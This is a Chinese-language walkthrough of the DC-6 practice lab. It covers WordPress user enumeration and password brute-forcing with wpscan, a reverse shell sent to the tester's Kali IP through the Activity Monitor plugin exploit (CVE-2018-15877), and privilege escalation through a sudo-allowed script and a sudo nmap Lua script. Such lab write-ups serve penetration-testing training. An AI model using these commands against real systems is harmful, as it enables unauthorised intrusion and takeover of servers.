渗透DC-6

靶机描述

下载地址:http://www.five86.com/downloads/DC-6.zip

1
2
3
4
5
6
7
8
9
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

This isn't an overly difficult challenge so should be great for beginners.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

信息收集

扫面同网段存活主机

1
arp-scan -l

扫描目标端口,发现开启了22端口和80端口,其中80端口是一个web服务应用

1
nmap -A 172.18.1.140

尝试访问web应用,发现遇到了和DC-2靶机一样的问题,需要设置一下域名解析

需要在hosts文件中加一条ip和域名的指定

文件地址一般如下:

1
C:\Windows\System32\drivers\etc

然后就可以正常访问了,发现界面和DC-2的界面也一样

同样也是用wordpress搭建的一个网站

也可以使用whatweb这个工具看到更详细的内容

1
2
3
WhatWeb是比较常用的工具之一,它可以识别包括内容管理系统 (CMS)、博客平台、统计/分析包、JavaScript库、网络服务器和嵌入式设备。

whatweb -v http://wordy/

扫描后台路径

1
dirsearch -u http://wordy/

找到后台登录地址

漏洞发现与利用

跟DC-2一样,使用wpscan获取一下网站用户,一共发现五个用户名

1
wpscan --url http://wordy -e u

将用户名保存成一个txt放到桌面

然后需要找到密码,靶机描述用一个提示,告诉我们了一个密码获取方法

1
2
3
cat /usr/share/wordlists/rockyou.txt |grep k01 > passwords.txt
# 该命令的作用是从文件 /usr/share/wordlists/rockyou.txt 中读取内容,并使用 grep 命令筛选出包含字符串 "k01" 的行,并将结果输出到文件 passwords.txt 中
# rockyou.txt是kali自带的密码本

有了账号和密码就可以对网站进行爆破了

1
wpscan --url http://wordy/ -U user.txt -P passwords.txt

成功发现一个账号密码

1
mark/helpdesk01

登录后台

这个界面和DC-2有个明显不一样的地方,就是左侧多安装了一个插件

针对性的去搜索相关漏洞

1
searchsploit activity monitor

这两个exp都能使用,我们拷贝一份到桌面

1
searchsploit -m 45274.html

然后更改web网址和kali的ip

1
2
localhost:8000 改为 wordy
nc -nlvp 127.0.0.1 改为 nc 172.18.1.128(kali的IP)

设置kali监听端口

1
nc -lvvp 9999

然后浏览器访问html文件(这里需要注意,我们用本地打开的网站,所以也要在本地打开这个html,还需要保持登录状态)

点击按钮,就能监听到端口,如果弹出登录页面,就登录一下,然后重新打开html

python升级成交互shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

提权

信息收集一些,看看有什么可以利用的

尝试suid提权,本没有找到有用的信息

1
find / -user root -perm -4000 -print 2>/dev/null

但是在home文件夹下发现多个用户信息

在jens和mark文件下有内容

查看jens下的bash文件,发现只是网址文件的解压命令,没有用处

查看mark下的stuff,发现一个新账户的账号密码

切换该用户

查看用户权限信息,发现该用户对刚才的bash脚本文件有jens权限

1
sudo -l

我们可以切换到jens目录下,利用该用户在backups.sh中尝试写入/bin/bash,直接免密码切换到 jens 用户

1
2
3
echo "/bin/bash" >> backups.sh

sudo -u jens ./backups.sh

切换用户成功

继续查看用户权限信息,发现可以提权的工具nmap

nmap提权

1
2
3
4
5
6
7
8
9
10
利用 nmap 提权

原理:nmap 可以执行脚本文件,可以创建一个文件并写入反弹 shell 的命令,默认用root 权限执行,所以反弹的 shell 也是 root

echo 'os.execute("/bin/bash")' > shell #创建一个 shell的文件,并且写入 os.execute("/bin/bash")

解释:
--script: 指定自己的脚本文件

sudo nmap --script=shell # 利用nmap执行脚本

提权成功

获取flag

1
find / -name *flag*

漏洞原理

WordPress 插件Plainview Activity Monitor被曝出存在一个远程命令执行漏洞。Plainview Activity Monitor 是一款网站用户活动监控插件。 远程攻击者可以通过构造的url来诱导wordpress管理员来点击恶意链接最终导致远程命令执行。

总结

  • whatweb指纹识别工具
  • wpscan漏洞扫描工具
  • WordPress插件 "Activity Monitor"漏洞(CVE-2018-15877)
  • nmap提权